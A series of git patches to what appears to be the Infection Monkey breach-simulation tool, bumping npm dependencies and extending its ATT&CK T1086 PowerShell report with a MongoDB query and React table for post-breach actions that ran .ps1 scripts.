"sha512-EGAbGvH7j7Xt2nc0E7D99La1OiEs8LnyimkRgwExpUMScN6O+3x9tIWs7PLQZVNx4YD+00skHXPXi1yQHpAmZA==", "dev": true, "requires": { "graceful-fs": "^4.2.4", @@ -15104,16 +13102,16 @@ } }, "webpack-cli": { - "version": "4.8.0", - "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.8.0.tgz", - "integrity": "sha512-+iBSWsX16uVna5aAYN6/wjhJy1q/GKk4KjKvfg90/6hykCTSgozbfz5iRgDTSJt/LgSbYxdBX3KBHeobIs+ZEw==", + "version": "4.9.0", + "resolved": "https://registry.npmjs.org/webpack-cli/-/webpack-cli-4.9.0.tgz", + "integrity": "sha512-n/jZZBMzVEl4PYIBs+auy2WI0WTQ74EnJDiyD98O2JZY6IVIHJNitkYp/uTXOviIOMfgzrNvC9foKv/8o8KSZw==", "dev": true, "requires": { "@discoveryjs/json-ext": "^0.5.0", - "@webpack-cli/configtest": "^1.0.4", - "@webpack-cli/info": "^1.3.0", - "@webpack-cli/serve": "^1.5.2", - "colorette": "^1.2.1", + "@webpack-cli/configtest": "^1.1.0", + "@webpack-cli/info": "^1.4.0", + "@webpack-cli/serve": "^1.6.0", + "colorette": "^2.0.14", "commander": "^7.0.0", "execa": "^5.0.0", "fastest-levenshtein": "^1.0.12", @@ -15130,177 +13128,21 @@ "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", "dev": true }, - "cross-spawn": { - "version": "7.0.3", - "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz", - "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==", - "dev": true, - "requires": { - "path-key": "^3.1.0", - "shebang-command": "^2.0.0", - "which": "^2.0.1" - } - }, - "execa": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/execa/-/execa-5.1.1.tgz", - "integrity": "sha512-8uSpZZocAZRBAPIEINJj3Lo9HyGitllczc27Eh5YYojjMFMn8yHMDMaUHE2Jqfq05D/wucwI4JGURyXt1vchyg==", - "dev": true, - "requires": { - "cross-spawn": "^7.0.3", - "get-stream": "^6.0.0", - "human-signals": "^2.1.0", - "is-stream": "^2.0.0", - "merge-stream": "^2.0.0", - "npm-run-path": "^4.0.1", - "onetime": "^5.1.2", - "signal-exit": "^3.0.3", - "strip-final-newline": "^2.0.0" - } - }, - "find-up": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz", - "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", - "dev": true, - "requires": { - "locate-path": "^5.0.0", - "path-exists": "^4.0.0" - } - }, - "get-stream": { - "version": "6.0.1", - "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", - "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==", - "dev": true - }, - "import-local": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/import-local/-/import-local-3.0.2.tgz", - "integrity": "sha512-vjL3+w0oulAVZ0hBHnxa/Nm5TAurf9YLQJDhqRZyqb+VKGOB6LU8t9H1Nr5CIo16vh9XfJTOoHwU0B71S557gA==", - "dev": true, - "requires": { - "pkg-dir": "^4.2.0", - "resolve-cwd": "^3.0.0" - } - }, - "is-stream": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.1.tgz", - "integrity": "sha512-hFoiJiTl63nn+kstHGBtewWSKnQLpyb155KHheA1l39uvtO9nWIop1p3udqPcUd/xbF1VLMO4n7OI6p7RbngDg==", - "dev": true - }, - "locate-path": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, - "requires": { - "p-locate": "^4.1.0" - } - }, - "npm-run-path": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz", - "integrity": "sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw==", - "dev": true, - "requires": { - "path-key": "^3.0.0" - } - }, - "onetime": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/onetime/-/onetime-5.1.2.tgz", - "integrity": "sha512-kbpaSSGJTWdAY5KPVeMOKXSrPtr8C8C7wodJbcsd51jRnmD+GZu8Y0VoU6Dm5Z4vWr0Ig/1NKuWRKf7j5aaYSg==", - "dev": true, - "requires": { - "mimic-fn": "^2.1.0" - } - }, - "p-locate": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", - "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, - "requires": { - "p-limit": "^2.2.0" - } - }, - "path-exists": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", - "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true - }, - "path-key": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz", - "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==", - "dev": true - }, - "pkg-dir": { - "version": "4.2.0", - "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz", - "integrity": "sha512-HRDzbaKjC+AOWVXxAU/x54COGeIv9eb+6CkDSQoNTt4XyWoIJvuPsXizxu/Fr23EiekbtZwmh1IcIG/l/a10GQ==", - "dev": true, - "requires": { - "find-up": "^4.0.0" - } - }, - "resolve-cwd": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-3.0.0.tgz", - "integrity": "sha512-OrZaX2Mb+rJCpH/6CpSqt9xFVpN++x01XnN2ie9g6P5/3xelLAkXWVADpdz1IHD/KFfEXyE6V0U01OQ3UO2rEg==", - "dev": true, - "requires": { - "resolve-from": "^5.0.0" - } - }, - "resolve-from": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", - "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", - "dev": true - }, - "shebang-command": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", - "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", - "dev": true, - "requires": { - "shebang-regex": "^3.0.0" - } - }, - "shebang-regex": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", - "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", - "dev": true - }, "v8-compile-cache": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", "dev": true - }, - "which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "requires": { - "isexe": "^2.0.0" - } } } }, "webpack-dev-middleware": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.1.0.tgz", - "integrity": "sha512-oT660AR1gOnU/NTdUQi3EiGR0iXG7CFxmKsj3ylWCBA2khJ8LFHK+sKv3BZEsC11gl1eChsltRhzUq7nWj7XIQ==", + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.2.1.tgz", + "integrity": "sha512-Kx1X+36Rn9JaZcQMrJ7qN3PMAuKmEDD9ZISjUj3Cgq4A6PtwYsC4mpaKotSRYH3iOF6HsUa8viHKS59FlyVifQ==", "dev": true, "requires": { - "colorette": "^1.2.2", + "colorette": "^2.0.10", "memfs": "^3.2.2", "mime-types": "^2.1.31", "range-parser": "^1.2.1", @@ -15331,21 +13173,6 @@ "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", "dev": true }, - "mime-db": { - "version": "1.49.0", - "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.49.0.tgz", - "integrity": "sha512-CIc8j9URtOVApSFCQIF+VBkX1RwXp/oMMOrqdyXSBXq5RWNEsRfyj1kiRnQgmNXmHxPoFIxOroKA3zcU9P+nAA==", - "dev": true - }, - "mime-types": { - "version": "2.1.32", - "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.32.tgz", - "integrity": "sha512-hJGaVS4G4c9TSMYh2n6SQAGrC4RnfU+daP8G7cSCmaqNjiOoUY0VHCMS42pxnQmVF1GWwFhbHWn3RIxCqTmZ9A==", - "dev": true, - "requires": { - "mime-db": "1.49.0" - } - }, "schema-utils": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.1.1.tgz", @@ -15360,15 +13187,15 @@ } }, "webpack-dev-server": { - "version": "4.2.1", - "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.2.1.tgz", - "integrity": "sha512-SQrIyQDZsTaF84p/WMAXNRKxjTeIaewhDIiHYZ423ENhNAsQWyubvqPTn0IoLMGkbhWyWv8/GYnCjItt0ZNC5w==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.3.1.tgz", + "integrity": "sha512-qNXQCVYo1kYhH9pgLtm8LRNkXX3XzTfHSj/zqzaqYzGPca+Qjr+81wj1jgPMCHhIhso9WEQ+kX9z23iG9PzQ7w==", "dev": true, "requires": { "ansi-html-community": "^0.0.8", "bonjour": "^3.5.0", "chokidar": "^3.5.1", - "colorette": "^1.2.2", + "colorette": "^2.0.10", "compression": "^1.7.4", "connect-history-api-fallback": "^1.6.0", "del": "^6.0.0", @@ -15388,7 +13215,7 @@ "spdy": "^4.0.2", "strip-ansi": "^7.0.0", "url": "^0.11.0", - "webpack-dev-middleware": "^5.1.0", + "webpack-dev-middleware": "^5.2.1", "ws": "^8.1.0" }, "dependencies": { @@ -15555,9 +13382,9 @@ } }, "ws": { - "version": "8.2.2", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.2.2.tgz", - "integrity": "sha512-Q6B6H2oc8QY3llc3cB8kVmQ6pnJWVQbP7Q5algTcIxx7YEpc0oU4NBVHlztA7Ekzfhw2r0rPducMUiCGWKQRzw==", + "version": "8.2.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.2.3.tgz", + "integrity": "sha512-wBuoj1BDpC6ZQ1B7DWQBYVLphPWkm8i9Y0/3YdHjHKHiohOJ1ws+3OccDWtH+PoC9DZD5WOTrJvNbWvjS6JWaA==", "dev": true }, "xtend": { @@ -15566,11 +13393,23 @@ "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", "dev": true }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + }, "yaml": { "version": "1.10.2", "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==" }, + "yargs-parser": { + "version": "20.2.9", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.9.tgz", + "integrity": "sha512-y11nGElTIV+CT3Zv9t7VKl+Q3hTQoT9a1Qzezhhl6Rp21gJ/IVTW7Z3y9EWXhuUBC2Shnf+DX0antecpAwSP8w==", + "dev": true + }, "yocto-queue": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json index 285331cef..565f3fe68 100644 --- a/monkey/monkey_island/cc/ui/package.json +++ b/monkey/monkey_island/cc/ui/package.json @@ -27,72 +27,72 @@ "not dead" ], "devDependencies": { - "@babel/cli": "^7.15.4", - "@babel/core": "^7.12.3", - "@babel/plugin-proposal-class-properties": "^7.12.1", - "@babel/plugin-transform-runtime": "^7.12.1", - "@babel/preset-env": "^7.12.1", - "@babel/preset-react": "^7.12.5", - "@babel/runtime": "^7.12.5", - "@types/jest": "^26.0.15", - "@types/node": "^14.14.11", - "@types/react": "^16.14.2", - "@types/react-dom": "^16.9.9", + "@babel/cli": "^7.15.7", + "@babel/core": "^7.15.8", + "@babel/plugin-proposal-class-properties": "^7.14.5", + "@babel/plugin-transform-runtime": "^7.15.8", + "@babel/preset-env": "^7.15.8", + "@babel/preset-react": "^7.14.5", + "@babel/runtime": "^7.15.4", + "@types/jest": "^26.0.24", + "@types/node": "^14.17.21", + "@types/react": "^16.14.16", + "@types/react-dom": "^16.9.14", "babel-eslint": "^10.1.0", "babel-loader": "^8.2.1", "copyfiles": "^2.4.0", "css-loader": "^3.6.0", "eslint": "^6.8.0", "eslint-loader": "^4.0.1", - "eslint-plugin-react": "^7.21.5", + "eslint-plugin-react": "^7.26.1", "file-loader": "^1.1.11", - "glob": "^7.1.6", + "glob": "^7.2.0", "html-loader": "^0.5.5", "html-webpack-plugin": "^5.3.2", "minimist": "^1.2.5", - "npm": "^7.24.0", + "npm": "^7.24.2", "null-loader": "^0.1.1", "react-addons-test-utils": "^15.6.2", "rimraf": "^2.7.1", - "sass": "^1.41.1", + "sass": "^1.42.1", "sass-loader": "^7.3.1", - "snyk": "^1.716.0", + "snyk": "^1.733.0", "style-loader": "^0.22.1", - "stylelint": "^13.7.2", - "ts-loader": "^8.0.11", - "typescript": "^4.1.2", + "stylelint": "^13.13.1", + "ts-loader": "^8.3.0", + "typescript": "^4.4.3", "url-loader": "^1.1.2", - "webpack": "^5.53.0", - "webpack-cli": "^4.8.0", - "webpack-dev-server": "^4.2.1" + "webpack": "^5.58.0", + "webpack-cli": "^4.9.0", + "webpack-dev-server": "^4.3.1" }, "dependencies": { "@emotion/core": "^10.1.1", - "@fortawesome/fontawesome-svg-core": "^1.2.32", - "@fortawesome/free-regular-svg-icons": "^5.15.1", - "@fortawesome/free-solid-svg-icons": "^5.15.1", - "@fortawesome/react-fontawesome": "^0.1.12", + "@fortawesome/fontawesome-svg-core": "^1.2.36", + "@fortawesome/free-regular-svg-icons": "^5.15.4", + "@fortawesome/free-solid-svg-icons": "^5.15.4", + "@fortawesome/react-fontawesome": "^0.1.15", "@kunukn/react-collapse": "^1.2.7", - "@types/react-router-dom": "^5.1.8", + "@types/react-router-dom": "^5.3.1", "bootstrap": "^4.5.3", - "classnames": "^2.2.6", - "core-js": "^3.7.0", + "classnames": "^2.3.1", + "core-js": "^3.18.2", "d3": "^5.14.1", "downloadjs": "^1.4.7", "fetch": "^1.1.0", - "file-saver": "^2.0.2", - "filepond": "^4.23.1", + "file-saver": "^2.0.5", + "filepond": "^4.30.3", "jwt-decode": "^2.2.0", "lodash": "^4.17.21", - "marked": "^2.0.0", + "marked": "^2.1.3", "normalize.css": "^8.0.0", "pluralize": "^7.0.0", "prop-types": "^15.7.2", "rainge": "^1.0.1", "rc-progress": "^2.6.1", "react": "^16.14.0", - "react-bootstrap": "^1.4.0", - "react-copy-to-clipboard": "^5.0.2", + "react-bootstrap": "^1.6.4", + "react-copy-to-clipboard": "^5.0.4", "react-data-components": "^1.2.0", "react-desktop-notification": "^1.0.9", "react-dimensions": "^1.3.0", @@ -100,20 +100,21 @@ "react-event-timeline": "^1.6.3", "react-fa": "^5.0.0", "react-filepond": "^7.1.0", - "react-graph-vis": "^1.0.5", + "react-graph-vis": "^1.0.7", "react-hot-loader": "^4.13.0", "react-json-tree": "^0.12.1", "react-jsonschema-form-bs4": "^1.7.1", - "react-particles-js": "^3.4.1", + "react-particles-js": "^3.5.3", "react-redux": "^5.1.2", - "react-router-dom": "^5.2.0", + "react-router-dom": "^5.3.0", "react-spinners": "^0.9.0", "react-table": "^6.10.3", - "react-toggle": "^4.1.1", + "react-toggle": "^4.1.2", "react-tooltip-lite": "^1.12.0", - "redux": "^4.0.4", - "sha3": "^2.1.3", - "source-map-loader": "^1.1.2" + "redux": "^4.1.1", + "sha3": "^2.1.4", + "source-map-loader": "^1.1.2", + "tsparticles": "^1.35.4" }, "snyk": true } From 2b789fca9030373fbae1fcd49c3c4a9f28f95ed0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 15:14:40 +0530 Subject: [PATCH 362/454] island: Add mongo query for PBAs for T1086 reporting --- .../attack/technique_reports/T1086.py | 21 +++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 253dc3d8d..ac46670d8 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -10,7 +10,7 @@ class T1086(AttackTechnique): scanned_msg = "" used_msg = "Monkey successfully ran PowerShell commands on exploited machines in the network." - query = [ + query_for_exploits = [ { "$match": { "telem_category": "exploit", @@ -35,11 +35,28 @@ class T1086(AttackTechnique): {"$group": {"_id": "$machine", "data": {"$push": "$$ROOT"}}}, ] + query_for_pbas = [ + { + "$match": { + "telem_category": "post_breach", + "data.command": {"$regex": r"\.ps1"}, + }, + }, + { + "$project": { + "_id": 0, + "machine.hostname": "$data.hostname", + "machine.ips": "$data.ip", + "info": "$data.result", + } + }, + ] + @staticmethod def get_report_data(): @T1086.is_status_disabled def get_technique_status_and_data(): - cmd_data = list(mongo.db.telemetry.aggregate(T1086.query)) + cmd_data = list(mongo.db.telemetry.aggregate(T1086.query_for_exploits)) if cmd_data: status = ScanStatus.USED.value else: From d82f61d524d68a8821fcbfd115a577801d42d1f0 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 15:22:33 +0530 Subject: [PATCH 363/454] island: Add telem category to data for T1086 reporting --- .../cc/services/attack/technique_reports/T1086.py | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index ac46670d8..670208e17 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -17,10 +17,11 @@ class T1086(AttackTechnique): "data.info.executed_cmds": {"$elemMatch": {"powershell": True}}, } }, - {"$project": {"machine": "$data.machine", "info": "$data.info"}}, + {"$project": {"telem_category": 1, "machine": "$data.machine", "info": "$data.info"}}, { "$project": { "_id": 0, + "telem_category": 1, "machine": 1, "info.finished": 1, "info.executed_cmds": { @@ -45,6 +46,7 @@ class T1086(AttackTechnique): { "$project": { "_id": 0, + "telem_category": 1, "machine.hostname": "$data.hostname", "machine.ips": "$data.ip", "info": "$data.result", @@ -56,7 +58,10 @@ class T1086(AttackTechnique): def get_report_data(): @T1086.is_status_disabled def get_technique_status_and_data(): - cmd_data = list(mongo.db.telemetry.aggregate(T1086.query_for_exploits)) + exploit_cmd_data = list(mongo.db.telemetry.aggregate(T1086.query_for_exploits)) + pba_cmd_data = list(mongo.db.telemetry.aggregate(T1086.query_for_pbas)) + cmd_data = exploit_cmd_data + pba_cmd_data + if cmd_data: status = ScanStatus.USED.value else: From 7fa917581c842e53f85b418a544180f57e9de01c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 17:21:40 +0530 Subject: [PATCH 364/454] cc: Add another table for T1086 (PowerShell) used as PBAs --- .../attack/technique_reports/T1086.py | 2 +- .../src/components/attack/techniques/T1086.js | 59 ++++++++++++++++--- 2 files changed, 53 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index 670208e17..d6085b09a 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -48,7 +48,7 @@ class T1086(AttackTechnique): "_id": 0, "telem_category": 1, "machine.hostname": "$data.hostname", - "machine.ips": "$data.ip", + "machine.ips": [{"$arrayElemAt": ["$data.ip", 0]}], "info": "$data.result", } }, diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index 266c99eaf..e08aaf667 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -1,6 +1,6 @@ import React from 'react'; import ReactTable from 'react-table'; -import {renderMachine, ScanStatus} from './Helpers' +import {renderMachine, renderMachineFromSystemData, ScanStatus} from './Helpers' import MitigationsComponent from './MitigationsComponent'; @@ -10,9 +10,9 @@ class T1086 extends React.Component { super(props); } - static getPowershellColumns() { + static getPowershellColumnsForExploits() { return ([{ - Header: 'Example Powershell commands used', + Header: 'PowerShell commands used on exploited machines', columns: [ { Header: 'Machine', @@ -32,18 +32,63 @@ class T1086 extends React.Component { }]) } + static getPowershellColumnsForPBAs() { + return ([{ + Header: 'PowerShell commands or scripts used as PBAs', + columns: [ + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x.machine), + style: {'whiteSpace': 'unset'}, + }, + { + Header: 'Information', + id: 'information', + accessor: x => x.info, + style: {'whiteSpace': 'unset'} + } + ] + }]) + } + + getPowershellDataPerCategory(category) { + let data = []; + for (let rowIdx in this.props.data.cmds) { + let row = this.props.data.cmds[rowIdx]; + if (row.telem_category == category) { + data.push(row); + } + } + + return data + } + render() { + let data_from_exploits = this.getPowershellDataPerCategory("exploit"); + let data_from_pbas = this.getPowershellDataPerCategory("post_breach"); + return (
    {this.props.data.message_html}

    {this.props.data.status === ScanStatus.USED ? +
    : ''} + defaultPageSize={data_from_exploits.length} + /> +
    +
    + +
    : ''}
    ); From 3b11637f160d4601271f8edb6039c9d0aa299b67 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 17:29:46 +0530 Subject: [PATCH 365/454] island: Change mongo query to include 'Modify Shell Startup Files' PBA in T1086's report --- .../cc/services/attack/technique_reports/T1086.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py index d6085b09a..1d74bac61 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py @@ -40,7 +40,10 @@ class T1086(AttackTechnique): { "$match": { "telem_category": "post_breach", - "data.command": {"$regex": r"\.ps1"}, + "$or": [ + {"data.command": {"$regex": r"\.ps1"}}, + {"data.result": {"$regex": r"\.ps1"}}, + ], }, }, { From 363e42ad7b7f398bbbad7df1a0990b0e4416af44 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 17:30:29 +0530 Subject: [PATCH 366/454] cc: Change wording for header of PBAs' table in T1086's report --- .../cc/ui/src/components/attack/techniques/T1086.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index e08aaf667..65f4a1300 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -34,7 +34,7 @@ class T1086 extends React.Component { static getPowershellColumnsForPBAs() { return ([{ - Header: 'PowerShell commands or scripts used as PBAs', + Header: 'PBAs that used PowerShell commands or scripts', columns: [ { Header: 'Machine', From 5a4f66d08084118520ac8f78a0c3af4c868dca65 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 17:40:52 +0530 Subject: [PATCH 367/454] CHANGELOG: Add entry for T1086 reporting changes --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 295f25371..0e358f3d5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). as backdoor user". #1410 - Resetting login credentials also cleans the contents of the database. #1495 - ATT&CK report messages (more accurate now). #1483 +- T1086 (PowerShell) now also reports if ps1 scripts were run by PBAs. #1513 ### Removed - Internet access check on agent start. #1402 From 748bca43e9d019ef67534fc05df7b3b14798f24d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 17:46:33 +0530 Subject: [PATCH 368/454] island: Fix eslint warnings (trailing comma and double quotes) --- .../cc/ui/src/components/attack/techniques/T1086.js | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index 65f4a1300..2cc8b0790 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -40,7 +40,7 @@ class T1086 extends React.Component { Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), - style: {'whiteSpace': 'unset'}, + style: {'whiteSpace': 'unset'} }, { Header: 'Information', @@ -65,8 +65,8 @@ class T1086 extends React.Component { } render() { - let data_from_exploits = this.getPowershellDataPerCategory("exploit"); - let data_from_pbas = this.getPowershellDataPerCategory("post_breach"); + let data_from_exploits = this.getPowershellDataPerCategory('exploit'); + let data_from_pbas = this.getPowershellDataPerCategory('post_breach'); return (
    From ee5585af755fbc3eab915ea6dcc5fc0668aeff9a Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 11 Oct 2021 17:59:54 +0530 Subject: [PATCH 369/454] cc: Modify T1086 reporting to segregate per category more efficiently --- .../src/components/attack/techniques/T1086.js | 23 +++++++++++++------ 1 file changed, 16 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js index 2cc8b0790..960fa25ea 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1086.js @@ -52,21 +52,30 @@ class T1086 extends React.Component { }]) } - getPowershellDataPerCategory(category) { - let data = []; + segregatePowershellDataPerCategory() { + let exploit_category_name = 'exploit'; + let pba_category_name = 'post_breach'; + + let data_from_exploits = []; + let data_from_pbas = []; + for (let rowIdx in this.props.data.cmds) { let row = this.props.data.cmds[rowIdx]; - if (row.telem_category == category) { - data.push(row); + if (row.telem_category == exploit_category_name) { + data_from_exploits.push(row); + } + else if (row.telem_category == pba_category_name) { + data_from_pbas.push(row); } } - return data + return [data_from_exploits, data_from_pbas] } render() { - let data_from_exploits = this.getPowershellDataPerCategory('exploit'); - let data_from_pbas = this.getPowershellDataPerCategory('post_breach'); + let segregatedData = this.segregatePowershellDataPerCategory(); + let data_from_exploits = segregatedData[0]; + let data_from_pbas = segregatedData[1]; return (
